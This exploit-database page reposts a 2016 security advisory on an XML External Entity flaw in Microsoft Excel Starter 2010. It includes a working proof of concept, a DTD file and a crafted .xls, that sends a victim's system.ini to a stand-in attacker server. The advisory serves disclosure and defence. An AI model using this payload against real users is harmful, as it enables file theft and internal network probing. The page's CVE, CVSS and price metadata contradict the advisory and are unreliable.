Exploitalert - Database of Exploits

Microsoft Excel Starter 2010 XML External Entity

CVE	Category	Price	Severity
CVE-2015-2605	CWE-611	$10,000	High

Author	Risk	Exploitation Type	Date
Unknown	High	Local	2016-12-04

CPE
cpe:cpe:/a:microsoft:excel:2010

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H	0.95	0.000400004

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2016120020

Microsoft Excel Starter 2010 XML External Entity[+] Credits: John Page aka hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-EXCEL-STARTER-XXE-REMOTE-FILE-DISCLOSURE.txt [+] ISR: ApparitionSec Vendor: ================= www.microsoft.com Product: ============================ Microsoft Excel Starter 2010 EXCELC.EXE / "OFFICEVIRT.EXE" This is a bundled Excel "starter" version that comes 'pre-loaded' with some Windows systems running, this was tested on Windows 7 etc. "C:Program Files (x86)Common Filesmicrosoft sharedVirtualization HandlerCVH.EXE" "Microsoft Excel Starter 2010 9014006604090000" C:PROGRA~2COMMON~1MICROS~1VIRTUA~1 Reference: https://support.office.com/en-us/article/Excel-features-that-are-not-fully-supported-in-Excel-Starter-0982b3f1-7bca-49a7-a04b-3c09d05941d4 Microsoft Excel Starter 2010 is a simplified version of Excel that comes pre-loaded on your computer. Excel Starter includes features that are basic to creating and working with spreadsheets, but it does not include the rich set of features found in the full version of Excel. Vulnerability Type: ==================== XML External Entity CVE Reference: ============== N/A Vulnerability Details: ===================== Microsoft Excel Starter OLD versions specifically ".xls" and ".xlthtml" files are vulnerable to XML External Entity attack. This can allow remote attackers to access and disclose ANY files from a victims computer if they open a corrupt ".xls" Excel file. We can also abuse XXE to make connections to the victims system/LAN and bypass Firewall,IPS etc (XXE/SSRF). Note: This has NOT worked in regular or updated patched Excel editions. When open the victim will get a warn message about it being a "different format and from trusted source". If user choose open the file they get error message "File cannot be opened because: System does not support the specified encoding." Then files you target get accessed and transfered to remote server. IF Excel version is "patched" or newer you will see message like "File cannot be opened because: Reference to undefined entity 'send' etc..." and XXE will fail. Tested successfully on several machines HP, TOSHIBA Windows 7 SP1 with Excel Starter 2010 versions. As some machines may still be running old pre-loaded Excel version it can be relevant so I release it anyways... Exploit code(s): =============== POC to exfiltrate "system.ini" used by MS ADO Remote Data Services. Listen port 8080 (ATTACKER-SERVER) python -m SimpleHTTPServer 8080 1) "payload.dtd" ( host on attacker server port 8080 same dir as our python web server ) <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'http://ATTACKER-SERVER:8080?%file;'>"> %all; 2) "PWN.xls" Get vicitm to open it, ANY files belong to you! <?xml version="1.0"?> <!DOCTYPE APPARITION [ <!ENTITY % file SYSTEM "C:Windowssystem.ini"> <!ENTITY % dtd SYSTEM "http://ATTACKER-SERVER:8080/payload.dtd"> %dtd;]> <pwn>&send;</pwn> Open the "PWN.xls" in Excel Starter 2010 then BOOM! ... its raining files! Video POC: https://vimeo.com/181891000 Disclosure Timeline: ======================================= Vendor Notification: September 4, 2016 MSRC Response: "Out of date Office Client" December 4, 2016 : Public Disclosure Exploitation Technique: ======================= Remote Severity Level: ================ High [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere.

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